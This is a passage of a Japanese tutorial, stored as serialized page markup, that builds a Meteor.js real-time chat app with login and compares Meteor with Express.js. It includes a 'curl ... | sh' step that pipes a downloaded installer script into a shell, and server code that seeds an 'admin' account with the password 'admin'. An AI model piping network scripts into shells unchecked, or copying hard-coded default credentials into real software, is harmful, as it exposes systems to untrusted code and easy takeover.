Protocol）を使用してクライアントとサーバーとのデータを同期化し、データを迅速かつスムーズに更新できるアプリケーションを実現します。",[11,25109,25110,25113],{},[20,25111,25112],{},"強力なエコシステム","：Meteorは、MongoDBとの統合から、Meteor独自のホスティングサービスであるGalaxyを使用したアプリケーションのデプロイまで、数千のパッケージやツールを備えた豊富なエコシステムを提供します。",[11,25115,25116,25119],{},[20,25117,25118],{},"ホットコードプッシュ機能","：この機能により、開発者はユーザー体験を妨げることなくアプリケーションを更新することができ、アプリの保守と更新において大きな利点を提供します。",[11,25121,25122,25125],{},[20,25123,25124],{},"マルチプラットフォーム対応","：一度コードを書くことで、それをWebアプリとしてデプロイしたり、AndroidやiOS向けのモバイルアプリとしてビルドしたりすることができます。",[487,25127,25129],{"id":25128},"meteorjsで開始",[20,25130,25131],{},"Meteor.jsで開始",[11,25133,25134,25135,25138],{},"Meteorを始めるには、Node.jsが既にインストールされていることを確認する必要があります。現在、MeteorはNode.jsの",[20,25136,25137],{},"バージョン10～14","をサポートしており、Meteor 3.0は、最新のNode.jsバージョンをサポートするために開発されています。",[495,25140,25142],{"id":25141},"meteorインストール",[20,25143,25144],{},"Meteorインストール",[11,25146,25147],{},[20,25148,25149],{},"Windows、Linux、OS X",[11,25151,25152],{},"上記のプラットフォームにおいて、以下のコマンドをターミナルで実行することでMeteorをインストールできます。",[696,25154,25157],{"className":25155,"code":25156,"language":701},[699],"npm install -g meteor\n",[703,25158,25156],{"__ignoreMap":64},[11,25160,25161,25162,7294,25164,25167,25168,25171],{},"また、",[20,25163,9533],{},[20,25165,25166],{},"OS X","では、",[703,25169,25170],{},"curl","経由で以下のコマンドを使用してMeteorをインストールすることもできます。",[696,25173,25176],{"className":25174,"code":25175,"language":701},[699],"curl https:\u002F\u002Finstall.meteor.com\u002F | sh\n",[703,25177,25175],{"__ignoreMap":64},[495,25179,25180],{"id":25180},"簡単なリアルタイムチャットアプリの作成",[11,25182,25183,25186],{},[20,25184,25185],{},"Meteor.js","についてさらに学ぶために、以下のように、簡単なリアルタイムチャットプロジェクトを一緒に作成してみましょう！",[1750,25188,25190],{"id":25189},"_1-プロジェクトの初期化","1. プロジェクトの初期化",[11,25192,25193,25194,25197,25198,25201,25202,25205],{},"プロジェクトを迅速にセットアップするには、",[703,25195,25196],{},"meteor create","コマンドに",[703,25199,25200],{},"--blaze","オプションを付けて実行します。ここでは、プロジェクト名を「",[20,25203,25204],{},"simple-chat-meteor","」とします。",[696,25207,25210],{"className":25208,"code":25209,"language":701},[699],"meteor create --blaze simple-chat-meteor\n",[703,25211,25209],{"__ignoreMap":64},[11,25213,25214],{},"初期化が成功した後、ターミナルに次のようなメッセージが表示されます。",[530,25216],{"className":25217,"alt":64,"src":25218,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F02\u002F19133739\u002Fimg01-e1708324777843.png",[11,25220,25221,25222,25225],{},"アプリケーションを実行するには、プロジェクトディレクトリへ辿って、",[703,25223,25224],{},"meteor run","コマンドを使用します。",[696,25227,25230],{"className":25228,"code":25229,"language":701},[699],"cd simple-chat-meteor\nmeteor run\n",[703,25231,25229],{"__ignoreMap":64},[11,25233,25234,25235,25238],{},"ブラウザを開き、",[57,25236,17377],{"href":17377,"rel":25237},[61]," にアクセスすると、そのアプリケーションが見えます。",[530,25240],{"className":25241,"alt":64,"src":25242,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F02\u002F19135639\u002Fimg02.png",[1750,25244,25246],{"id":25245},"_2-プロジェクト構成","2. プロジェクト構成",[530,25248],{"className":25249,"alt":64,"src":25250,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F02\u002F20092348\u002Fimg09.png",[11,25252,25253,25256],{},[20,25254,25255],{},".meteor","：Meteorアプリケーションにおいて最も重要なディレクトリです。このディレクトリには、Meteorアプリケーションのコア設定ファイルと以下のようなサブディレクトリが含まれています。",[31,25258,25259,25265,25271,25277],{},[34,25260,25261,25264],{},[20,25262,25263],{},"local","：アプリケーションのローカルデータやログファイルを格納する",[34,25266,25267,25270],{},[20,25268,25269],{},"packages","：アプリケーションに使われているライブラリのリストを格納する",[34,25272,25273,25276],{},[20,25274,25275],{},"platforms","：アプリケーションが対応しているプラットフォームを格納する",[34,25278,25279,25282],{},[20,25280,25281],{},"versions","：アプリケーションに使われているライブラリのバージョン情報を保存するファイルです。",[11,25284,25285,25288],{},[20,25286,25287],{},"client","：アプリケーションのクライアント側のソースコードを格納するディレクトリであり、以下のものが含まれます。",[31,25290,25291,25297,25303],{},[34,25292,25293,25296],{},[20,25294,25295],{},"main.css","：クライアント側のスタイルを定義する主なCSSファイル",[34,25298,25299,25302],{},[20,25300,25301],{},"main.html","：アプリケーションのレイアウトやテンプレートを定義する原点となる主なHTMLファイル",[34,25304,25305,25307],{},[20,25306,5012],{},"：Blazeテンプレートのイベントやヘルパーを定義するところとなるクライアント用の主なJavaScriptファイル",[11,25309,25310,25312],{},[20,25311,17176],{},"：アプリケーションのサーバー側ソースコードを格納するディレクトリであり、以下のものが含まれます。",[31,25314,25315],{},[34,25316,25317,25319],{},[20,25318,5012],{},"：パブリケイションやメソッドの設定、およびサーバー初期化の設定を行うところとなるサーバー用の主なJavaScriptファイル",[11,25321,25322,25325],{},[20,25323,25324],{},"tests","：アプリケーションのテストファイルを格納するディレクトリです。",[11,25327,25328,25330],{},[20,25329,17143],{},"：プロジェクトが依存しているNPMパッケージを格納するディレクトリです。",[1750,25332,25334],{"id":25333},"_3-各機能の実装","3. 各機能の実装",[11,25336,25337],{},"このセクションでは、Meteorチャットアプリケーションに機能を追加するために必要な手順を説明します。これには、ユーザーインターフェースの設定、イベント処理、ログインおよびログアウト機能の構築が含まれます。",[11,25339,25340],{},[20,25341,25342],{},"ユーザーインターフェースの設定",[11,25344,25345,25348],{},[20,25346,25347],{},"client\u002Fmain.html","ファイルでは、チャットアプリの基本的なHTML構造を定義します。これには、タイトルやモバイルデバイスでの表示を最適化するためのmetaタグが含まれます。",[696,25350,25353],{"className":25351,"code":25352,"language":701},[699],"\u003Chead>\n  \u003Ctitle>Simple Chat Meteor\u003C\u002Ftitle>\n  \u003Cmeta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" \u002F>\n  \u003Cmeta charset=\"utf-8\"\u002F>\n  \u003Cmeta http-equiv=\"x-ua-compatible\" content=\"ie=edge\"\u002F>\n  \u003Cmeta\n      name=\"viewport\"\n      content=\"width=device-width, height=device-height, viewport-fit=cover, initial-scale=1, maximum-scale=1, minimum-scale=1, user-scalable=no\"\n  \u002F>\n  \u003Cmeta name=\"mobile-web-app-capable\" content=\"yes\"\u002F>\n  \u003Cmeta name=\"apple-mobile-web-app-capable\" content=\"yes\"\u002F>\n\u003C\u002Fhead>\n",[703,25354,25352],{"__ignoreMap":64},[11,25356,25357,25360,25361,25364],{},[20,25358,25359],{},"client\u002Fmain.js","ファイルでは、UIチャットを初期化するために",[20,25362,25363],{},"Chat.js","ファイルをインポートします。",[696,25366,25369],{"className":25367,"code":25368,"language":701},[699],"import '..\u002Fimports\u002Fui\u002FChat\u002FChat.js';\n\n",[703,25370,25368],{"__ignoreMap":64},[11,25372,25373],{},[20,25374,25375],{},"イベントとデータの処理",[11,25377,25378,25381],{},[20,25379,25380],{},"imports","ディレクトリを作成して、UIとロジックの毎に分けられるソースコードを格納します。",[11,25383,25384,25387,25388,25391],{},[20,25385,25386],{},"imports\u002Fui\u002FChat","内に、",[20,25389,25390],{},"Chat.html","ファイルを作成し、チャットアプリケーションのユーザーインターフェースを定義します。",[11,25393,25394],{},"Blazeテンプレートを使用して、中身と表示ロジックを整理します。",[696,25396,25399],{"className":25397,"code":25398,"language":701},[699],"\u003Cbody>\n    {{> chatContainer}}\n\u003C\u002Fbody>\n\n\u003Ctemplate name=\"chatContainer\">\n    \u003Cdiv class=\"chat-container\">\n        \u003Cdiv class=\"chat-header\">\n            \u003Ch2>Simple Chat Meteor\u003C\u002Fh2>\n        \u003C\u002Fdiv>\n\n        {{> chatContent}}\n    {{> chatInput}}\n    \u003C\u002Fdiv>\n\u003C\u002Ftemplate>\n\n\u003Ctemplate name=\"chatContent\">\n    \u003Cdiv class=\"chat-content\">\n        {{#each chats}}\n        \u003Cdiv class=\"message\">\n            \u003Cdiv class=\"username\">{{ username }}\u003C\u002Fdiv>\n            \u003Cdiv class=\"message-content\">{{ messageText }}\u003C\u002Fdiv>\n        \u003C\u002Fdiv>\n        {{\u002Feach}}\n    \u003C\u002Fdiv>\n\u003C\u002Ftemplate>\n\n\u003Ctemplate name=\"chatInput\">\n    \u003Cdiv class=\"chat-input\">\n        \u003Cinput id=\"message\" type=\"text\" placeholder=\"Input your message...\" \u002F>\n        \u003Cbutton id=\"sendMessage\">Send\u003C\u002Fbutton>\n    \u003C\u002Fdiv>\n\u003C\u002Ftemplate>\n",[703,25400,25398],{"__ignoreMap":64},[11,25402,25403,25406],{},[20,25404,25405],{},"chatContainer","：アプリケーションのヘッダー（chat-header）とチャット内容部分といったチャットアプリケーションのインターフェースの全部を含むメインテンプレートです。",[11,25408,25409,25412,25413,25416,25417,25420,25421,25424],{},[20,25410,25411],{},"chatContent","：チャット内容を表示するためのより小さいなテンプレートであり、",[20,25414,25415],{},"chats","（各メッセージ）分、繰り返して、",[20,25418,25419],{},"username","（送信した者の名前）と",[20,25422,25423],{},"messageText","（メッセージ内容）を表示させます。",[11,25426,25427,25430,25431,25433],{},[20,25428,25429],{},"chatInput","：ユーザーが新しいメッセージを送信できるようにするための他のテンプレートであり、メッセージ内容を入力するための入力項目と、メッセージを送信するための",[20,25432,18616],{},"ボタンがあります。",[11,25435,25436,25439],{},[20,25437,25438],{},"client\u002Fmain.css","ファイルに以下のCSSを追加します。",[696,25441,25444],{"className":25442,"code":25443,"language":701},[699],":root {\n  --main-bg-color: #f0f2f5;\n  --chat-bg-color: #fff;\n  --highlight-color: #f69914;\n  --text-color-white: #fff;\n  --border-color: #ddd;\n  --input-border-color: #ccc;\n  --hover-bg-color: #0056b3;\n}\n\nbody {\n  font-family: Arial, sans-serif;\n  display: flex;\n  justify-content: center;\n  align-items: center;\n  height: 100vh;\n  overflow: hidden;\n  margin: 0;\n  background-color: var(--main-bg-color);\n}\n\n.chat-container {\n  height: 100%;\n  width: 600px;\n  border: 1px solid var(--border-color);\n  background-color: var(--chat-bg-color);\n  display: flex;\n  flex-direction: column;\n}\n\n.chat-header {\n  display: flex;\n  justify-content: space-between;\n  align-items: center;\n  background-color: var(--highlight-color);\n  color: var(--text-color-white);\n  height: 68px;\n  padding: 0px 10px;\n}\n\n.chat-header button#logout {\n  height: 30px;\n  background-color: transparent;\n  cursor: pointer;\n  color: var(--text-color-white);\n  border: 1px solid var(--chat-bg-color);\n  border-radius: 10px;\n}\n\n.chat-content {\n  padding: 10px;\n  height: calc(100vh - 90px - 57px);\n  overflow-y: auto;\n  gap: 10px;\n}\n\n.chat-content .message {\n  background-color: #f1f1f1;\n  padding: 10px;\n  border-radius: 10px;\n  display: flex;\n  flex-direction: column;\n}\n\n.chat-content .message:not(:first-child) {\n  margin-top: 10px;\n}\n\n.chat-content .message .username {\n  font-weight: bold;\n  color: var(--highlight-color);\n}\n\n.chat-content .message .message-content {\n  margin-top: 5px;\n}\n\n.chat-input {\n  display: flex;\n  padding: 10px;\n  height: 57px;\n  box-sizing: border-box;\n}\n\n.chat-input input {\n  flex: 1;\n  padding: 10px;\n  margin-right: 10px;\n  border: 1px solid var(--input-border-color);\n  border-radius: 4px;\n}\n\n.chat-input button {\n  padding: 10px;\n  background-color: var(--highlight-color);\n  color: white;\n  border: none;\n  border-radius: 4px;\n  cursor: pointer;\n}\n\n.chat-input button:hover {\n  background-color: var(--hover-bg-color);\n}\n\n.auth-container {\n  background-color: white;\n  padding: 40px;\n  border-radius: 5px;\n  box-shadow: 0 0 10px rgba(0, 0, 0, 0.1);\n  width: 300px;\n}\n\n.auth-container h2 {\n  text-align: center;\n  margin-bottom: 20px;\n}\n\n.auth-container p span {\n  text-decoration: underline;\n  color: var(--hover-bg-color);\n  cursor: pointer;\n}\n\n#loginForm .input-group,\n#signupForm .input-group {\n  margin-bottom: 15px;\n  display: flex;\n  flex-direction: column;\n}\n\n#loginForm .input-group label,\n#signupForm .input-group label {\n  margin-bottom: 5px;\n}\n\n#loginForm .input-group input,\n#signupForm .input-group input {\n  padding: 10px;\n  border: 1px solid var(--border-color);\n  border-radius: 4px;\n}\n\n#loginForm button,\n#signupForm button {\n  background-color: orange;\n  color: white;\n  padding: 10px;\n  border: none;\n  border-radius: 4px;\n  cursor: pointer;\n  width: 100%;\n}\n\n#loginForm button:hover,\n#signupForm button:hover {\n  background-color: darkorange;\n}\n",[703,25445,25443],{"__ignoreMap":64},[11,25447,25448,25387,25451,25454],{},[20,25449,25450],{},"imports\u002Fapi",[20,25452,25453],{},"ChatsCollection.js","を作成します。",[696,25456,25459],{"className":25457,"code":25458,"language":701},[699],"import { Mongo } from 'meteor\u002Fmongo';\n\nexport const ChatsCollection = new Mongo.Collection('chats');\n",[703,25460,25458],{"__ignoreMap":64},[11,25462,25463,25387,25465,25454],{},[20,25464,25450],{},[20,25466,25467],{},"ChatsPublications.js",[696,25469,25472],{"className":25470,"code":25471,"language":701},[699],"import { Meteor } from \"meteor\u002Fmeteor\";\n\nimport { ChatsCollection } from \".\u002FChatsCollection\";\n\nMeteor.publish(\"chats\", function () {\n  return ChatsCollection.find({}, { sort: { createdAt: -1 } });\n});\n",[703,25473,25471],{"__ignoreMap":64},[11,25475,25476],{},"次に、Meteorでチャットのデータベースに接続し、サーバーからチャットデータを登録して、ユーザーインターフェースでメッセージを時系列順に表示するようにします。",[11,25478,25479,25482],{},[20,25480,25481],{},"imports\u002Fui\u002FChat\u002FChat.js","に以下のコードを追加します。",[696,25484,25487],{"className":25485,"code":25486,"language":701},[699],"import { Template } from \"meteor\u002Ftemplating\";\nimport { ChatsCollection } from \"\u002Fimports\u002Fapi\u002FChatsCollection\";\nimport \".\u002FChat.html\";\n\nMeteor.subscribe(\"chats\");\n\nTemplate.chatContent.helpers({\n  chats() {\n    return ChatsCollection.find({}, { sort: { createdAt: 1 } });\n  },\n});\n",[703,25488,25486],{"__ignoreMap":64},[11,25490,25491,25494],{},[20,25492,25493],{},"server\u002Fmain.js","のコードを以下のように置き換えます。",[696,25496,25499],{"className":25497,"code":25498,"language":701},[699],"import { Meteor } from \"meteor\u002Fmeteor\";\nimport { ChatsCollection } from \"\u002Fimports\u002Fapi\u002FChatsCollection\";\nimport '\u002Fimports\u002Fapi\u002FChatsPublications';\n\nMeteor.startup(() => {\n  if (ChatsCollection.find().count() === 0) {\n    ChatsCollection.insert({\n      messageText: 'Welcome to the chat app!',\n      createdAt: new Date(),\n      username: \"Admin\",\n    });\n  }\n});\n",[703,25500,25498],{"__ignoreMap":64},[11,25502,25503],{},"目的としは、サーバー起動時にメッセージが存在しない場合、デフォルトのメッセージを追加することです。",[11,25505,18666,25506,25508,25509,25512],{},[703,25507,25224],{},"コマンドを使用して、Meteor.js アプリケーションを起動します。その後、",[57,25510,17377],{"href":20510,"rel":25511},[61],"にアクセスして結果を確認できます。",[530,25514],{"className":25515,"alt":64,"src":25516,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F02\u002F19160033\u002Fimg04.png",[11,25518,25519],{},[20,25520,25521],{},"メッセージ送信機能の実装",[11,25523,25524,25482],{},[20,25525,25481],{},[696,25527,25530],{"className":25528,"code":25529,"language":701},[699],"...\n\nTemplate.body.events({\n  \"click #sendMessage\": function () {\n    const messageElement = document.querySelector(\"#message\");\n    if (messageElement.value.trim()) {\n      Meteor.call(\"chats.sendMessage\", messageElement.value.trim());\n      messageElement.value = \"\";\n    }\n  },\n});\n",[703,25531,25529],{"__ignoreMap":64},[11,25533,25534,25387,25537,25540],{},[20,25535,25536],{},"imports\u002Fap",[20,25538,25539],{},"ChatsMethods.js","を作成して、以下のコードを追加します。",[696,25542,25545],{"className":25543,"code":25544,"language":701},[699],"import { Meteor } from 'meteor\u002Fmeteor';\nimport { ChatsCollection } from \".\u002FChatsCollection\";\n\nMeteor.methods({\n    'chats.sendMessage'(message) {\n      ChatsCollection.insert({\n        messageText: message,\n        createdAt: new Date(),\n        username: \"Admin\"\n      });\n    }\n});\n",[703,25546,25544],{"__ignoreMap":64},[11,25548,25549,25550,25552],{},"次に、作成したてのメソッドを",[20,25551,25493],{},"ファイルにインポートします。",[696,25554,25557],{"className":25555,"code":25556,"language":701},[699],"...\nimport '\u002Fimports\u002Fapi\u002FChatsMethods';\n...\n",[703,25558,25556],{"__ignoreMap":64},[11,25560,25561],{},"ここで任意のメッセージを送信してみましょう！",[530,25563],{"className":25564,"alt":64,"src":25565,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F02\u002F19161822\u002Fimg05.png",[11,25567,25568],{},"ログイン、登録、ログアウト機能の実装",[11,25570,25571,25572,7294,25575,25578],{},"以下のコマンドを使用して、",[20,25573,25574],{},"accounts-password",[20,25576,25577],{},"bcrypt","パッケージをインストールします",[696,25580,25583],{"className":25581,"code":25582,"language":701},[699],"meteor add accounts-password\nmeteor npm install --save bcrypt\n",[703,25584,25582],{"__ignoreMap":64},[11,25586,25587,25387,25590,25540],{},[20,25588,25589],{},"imports\u002Fui\u002FAuth",[20,25591,25592],{},"Auth.html",[696,25594,25597],{"className":25595,"code":25596,"language":701},[699],"\u003Ctemplate name=\"authContainer\">\n    {{> Template.dynamic template=currentView}}\n\u003C\u002Ftemplate>\n\n\u003Ctemplate name=\"loginContainer\">\n    \u003Cdiv class=\"auth-container\" >\n        \u003Ch2>Login\u003C\u002Fh2>\n        \u003Cform id=\"loginForm\">\n            \u003Cdiv class=\"input-group\">\n                \u003Clabel for=\"username\">Username\u003C\u002Flabel>\n                \u003Cinput type=\"text\" id=\"username\" name=\"username\" required>\n            \u003C\u002Fdiv>\n            \u003Cdiv class=\"input-group\">\n                \u003Clabel for=\"password\">Password\u003C\u002Flabel>\n                \u003Cinput type=\"password\" id=\"password\" name=\"password\" required>\n            \u003C\u002Fdiv>\n            \u003Cbutton type=\"submit\">Login\u003C\u002Fbutton>\n        \u003C\u002Fform>\n\n        \u003Cp>Don’t have an account yet?\n            \u003Cspan>Sign up\u003C\u002Fspan>\n        \u003C\u002Fp>\n    \u003C\u002Fdiv>\n\u003C\u002Ftemplate>\n\n\u003Ctemplate name=\"signupContainer\">\n    \u003Cdiv class=\"auth-container\" >\n        \u003Ch2>Sign up\u003C\u002Fh2>\n        \u003Cform id=\"signupForm\">\n            \u003Cdiv class=\"input-group\">\n                \u003Clabel for=\"username\">Username\u003C\u002Flabel>\n                \u003Cinput type=\"text\" id=\"username\" name=\"username\" required>\n            \u003C\u002Fdiv>\n            \u003Cdiv class=\"input-group\">\n                \u003Clabel for=\"password\">Password\u003C\u002Flabel>\n                \u003Cinput type=\"password\" id=\"password\" name=\"password\" required>\n            \u003C\u002Fdiv>\n            \u003Cdiv class=\"input-group\">\n                \u003Clabel for=\"confirmPassword\">Confirm Password\u003C\u002Flabel>\n                \u003Cinput type=\"password\" id=\"rePassword\" name=\"confirmPassword\" required>\n            \u003C\u002Fdiv>\n            \u003Cbutton type=\"submit\">Sign up\u003C\u002Fbutton>\n        \u003C\u002Fform>\n\n        \u003Cp>Already have an account?\n            \u003Cspan>Login here\u003C\u002Fspan>\n        \u003C\u002Fp>\n    \u003C\u002Fdiv>\n\u003C\u002Ftemplate>\n",[703,25598,25596],{"__ignoreMap":64},[11,25600,25601,25387,25603,25540],{},[20,25602,25589],{},[20,25604,25605],{},"Auth.js",[696,25607,25610],{"className":25608,"code":25609,"language":701},[699],"import { Template } from \"meteor\u002Ftemplating\";\nimport \".\u002FAuth.html\";\n\nimport { ReactiveVar } from \"meteor\u002Freactive-var\";\n\ncurrentView = new ReactiveVar(\"loginContainer\");\n\nTemplate.authContainer.helpers({\n  currentView: function () {\n    return currentView.get();\n  },\n});\n\nTemplate.loginContainer.events({\n  \"click span\": function (e) {\n    e.preventDefault();\n    currentView.set(\"signupContainer\");\n  },\n  \"submit #loginForm\"(e) {\n    e.preventDefault();\n\n    const target = e.target;\n\n    const username = target.username.value;\n    const password = target.password.value;\n\n    Meteor.loginWithPassword(username, password, (err) => {\n      if (err) {\n        alert(err);\n      }\n    });\n  },\n});\n\nTemplate.signupContainer.events({\n  \"click span\": function (e) {\n    e.preventDefault();\n    currentView.set(\"loginContainer\");\n  },\n  \"submit #signupForm\"(e) {\n    e.preventDefault();\n\n    const target = e.target;\n\n    const username = target.username.value;\n    const password = target.password.value;\n    const confirmPassword = target.confirmPassword.value;\n\n    if (password !== confirmPassword) {\n      alert(\"Password do not match\");\n      return;\n    }\n\n    Accounts.createUser(\n      {\n        username,\n        password,\n      },\n      (err) => {\n        if (err) {\n          alert(err);\n        }\n      }\n    );\n  },\n});\n",[703,25611,25609],{"__ignoreMap":64},[11,25613,25614,25617],{},[20,25615,25616],{},"imports\u002Fui\u002FChat\u002FChat.html","で、ユーザーがログインしていることを確認し、ログアウトボタンを追加します。",[696,25619,25622],{"className":25620,"code":25621,"language":701},[699],"\u003Cbody>\n    {{#if isUserLogged}} {{> chatContainer}} {{else}} {{> authContainer}} {{\u002Fif}}\n\u003C\u002Fbody>\n\n...\n    \u003Cdiv class=\"chat-header\">\n        \u003Ch2>Simple Chat Meteor\u003C\u002Fh2>\n        \u003Cbutton id=\"logout\">Logout\u003C\u002Fbutton>\n    \u003C\u002Fdiv>\n...\n",[703,25623,25621],{"__ignoreMap":64},[11,25625,25626,25628],{},[20,25627,25481],{},"で、ユーザーがログインしていることを確認し、ログアウト処理を行います。",[696,25630,25633],{"className":25631,"code":25632,"language":701},[699],"import \"..\u002FAuth\u002FAuth.js\"\n...\nTemplate.body.helpers({\n  isUserLogged() {\n    return !!Meteor.userId() && !Meteor.loggingIn();\n  },\n});\n\nTemplate.body.events({\n  \"click #sendMessage\": function () {\n    const messageElement = document.querySelector(\"#message\");\n    if (messageElement.value.trim()) {\n      Meteor.call(\"chats.sendMessage\", messageElement.value.trim());\n      messageElement.value = \"\";\n    }\n  },\n  \"click #logout\": function () {\n    Meteor.logout();\n  },\n});\n",[703,25634,25632],{"__ignoreMap":64},[11,25636,25637,25639],{},[20,25638,25493],{},"で、アカウント「admin」を確認して存在しなければ追加し、デフォルトメッセージに「username」を追加します。",[696,25641,25644],{"className":25642,"code":25643,"language":701},[699],"import { Meteor } from \"meteor\u002Fmeteor\";\nimport '\u002Fimports\u002Fapi\u002FChatsMethods';\nimport '\u002Fimports\u002Fapi\u002FChatsPublications';\nimport { ChatsCollection } from \"\u002Fimports\u002Fapi\u002FChatsCollection\";\nimport { Accounts } from 'meteor\u002Faccounts-base';\n\nconst SEED_USERNAME = \"admin\";\nconst SEED_PASSWORD = \"admin\";\n\nMeteor.startup(() => {\n  if (!Accounts.findUserByUsername(SEED_USERNAME)) {\n    Accounts.createUser({\n      username: SEED_USERNAME,\n      password: SEED_PASSWORD,\n    });\n  }\n\n  const user = Accounts.findUserByUsername(SEED_USERNAME);\n\n  if (ChatsCollection.find().count() === 0) {\n    ChatsCollection.insert({\n      messageText: 'Welcome to the chat app!',\n      createdAt: new Date(),\n      username: user.username,\n    });\n  }\n});\n",[703,25645,25643],{"__ignoreMap":64},[11,25647,25648,25649,25652],{},"同様に、",[20,25650,25651],{},"imports\u002Fapi\u002FChatsMethods.js","で「sendMessage」メソッドに「username」を追加します。",[696,25654,25657],{"className":25655,"code":25656,"language":701},[699],"import { Meteor } from 'meteor\u002Fmeteor';\nimport { ChatsCollection } from \".\u002FChatsCollection\";\n\nMeteor.methods({\n  'chats.sendMessage'(message) {\n    const username = Meteor.user()?.username;\n\n    ChatsCollection.insert({\n      messageText: message,\n      createdAt: new Date(),\n      username: username\n    });\n  }\n});\n",[703,25658,25656],{"__ignoreMap":64},[11,25660,25661],{},"成果物を見ましょう！！",[530,25663],{"className":25664,"alt":64,"src":25665,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F02\u002F19172343\u002Fimg06.png",[11,25667,25668],{},"未ログイン状態でログイン画面が表示されます。",[530,25670],{"className":25671,"alt":64,"src":25672,"style":536},[533,534],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F02\u002F19172346\u002Fimg07.png",[11,25674,25675],{},[2645,25676,25677],{},"サインアップ画面が出ます。",[530,25679],{"className":25680,"alt":64,"src":25681,"style":536},[533,534,9067],"https:\u002F\u002Fs3-ap-southeast-1.amazonaws.com\u002Fhomepage-media\u002Fwp-content\u002Fuploads\u002F2024\u002F02\u002F19172349\u002Fimg08.png",[487,25683,20641],{"id":20640},[660,25685,25686],{"id":25686},"拡張性",[31,25688,25689,25694],{},[34,25690,25691,25693],{},[20,25692,25185],{},"は、開発を迅速かつ容易にするために、豊富な機能と事前に構築されたコンポーネントを備えた「開発ツールキット」を提供します。ただし、大規模なプロジェクトではカスタマイズや拡張性が制限される場合があります。",[34,25695,25696,25699],{},[20,25697,25698],{},"Express.js","は、柔軟なフレームワークであり、開発者がアプリケーション構造を自由に設計できる環境を提供します。これにより、拡張性の高い大規模で複雑なプロジェクトに最適です。",[660,25701,25702],{"id":25702},"リアルタイム通信",[31,25704,25705,25710],{},[34,25706,25707,25709],{},[20,25708,25185],{},"は、クライアントとサーバー間のリアルタイム通信機能を標準で備えており、ページをリロードせずにデータを即座に更新できます。",[34,25711,25712,25714],{},[20,25713,25698],{},"は、同様の機能を実現するには、サードパーティライブラリを追加で統合する必要があり、開発工数が膨らみます。",[660,25716,25717],{"id":25717},"データベース統合",[31,25719,25720,25725],{},[34,25721,25722,25724],{},[20,25723,25185],{},"は、MongoDBと密接に統合されており、その利用を最適化しています。そのためデータ管理が簡単になりますが、選択肢が制限される場合があります。",[34,25726,25727,25729],{},[20,25728,25698],{},"は、SQLからNoSQLまで多様なデータベースとの接続をサポートしており、プロジェクトの要件に応じて柔軟に選択できます。",[660,25731,25732],{"id":25732},"コミュニティとエコシステム",[31,25734,25735,25740],{},[34,25736,25737,25739],{},[20,25738,25185],{},"は、コミュニティは比較的小規模ですが、開発ニーズをサポートするための十分なパッケージやツールが提供されています。",[34,25741,25742,25744],{},[20,25743,25698],{},"は、大規模で多様なコミュニティがあり、数千ものライブラリや追加ツールが存在します。これにより、アプリケーションの拡張や改善に多くの選択肢を提供します。",[660,25746,25747],{"id":25747},"開発速度と習得難易度",[31,25749,25750,25755],{},[34,25751,25752,25754],{},[20,25753,25185],{},"は、多くの機能があらかじめ統合されているため、設定や管理作業を最小限に抑え、アプリケーション開発の速度を向上させます。学習曲線が比較的緩やかで、初心者に適しています。",[34,25756,25757,25759],{},[20,25758,25698],{},"は、柔軟で高度にカスタマイズ可能なアプローチを提供しますが、設定に時間がかかる場合があります。それでも、長期的なプロジェクト開発では大きなメリットがあります。Node.jsの理解やミドルウェアの統合方法に関する知識が必要で、経験豊富な開発者に適しています。",[487,25761,7231],{"id":7231},[11,25763,25764],{},"これまでの分析からして、Express.jsとMeteorはそれぞれ独自の長所と短所を持ち、異なる種類のプロジェクトや開発ニーズに適していることがわかります。",[11,25766,25767,25769],{},[20,25768,25698],{},"は、高いカスタマイズ性と大規模な拡張性が必要なプロジェクトに適しています。特に、複雑で多様なデータベースや、大規模なエコシステムと豊富なライブラリやツールが求められるプロジェクトに最適です。",[11,25771,25772,25773,25775],{},"それに対して、",[20,25774,25185],{},"は、迅速かつ簡単な開発を求める場合に最適な選択肢です。特にリアルタイムアプリケーションや、MongoDBを必要とする小規模から中規模のプロジェクトに適しています。設定やインフラ管理に時間をかけず、アイデアの実現に集中したい開発者に向いています。",[11,25777,25778],{},"要約すると、Express.jsとMeteorの選択は、プロジェクトの具体的な要件、開発チームのスキルや経験、プロジェクトの目標やスケジュールに依存します。どちらの技術も独自の強みを持っており、適切な技術を選択することでプロジェクトの成功に大きく貢献します。",[487,25780,5084],{"id":5084},[11,25782,25783],{},[57,25784,25785],{"href":25785,"rel":25786},"https:\u002F\u002Fdocs.meteor.com\u002F",[61],[11,25788,25789],{},[57,25790,25791],{"href":25791,"rel":25792},"https:\u002F\u002Fwww.blazejs.org\u002F",[61],[11,25794,25795],{},[57,25796,20694],{"href":20694,"rel":25797},[61],{"title":64,"searchDepth":65,"depth":65,"links":25799},[25800,25801],{"id":25141,"depth":65,"text":25144},{"id":25180,"depth":65,"text":25180,"children":25802},[25803,25804,25805,25806,25807],{"id":25686,"depth":1375,"text":25686},{"id":25702,"depth":1375,"text":25702},{"id":25717,"depth":1375,"text":25717},{"id":25732,"depth":1375,"text":25732},{"id":25747,"depth":1375,"text":25747},"HOANG PHAN 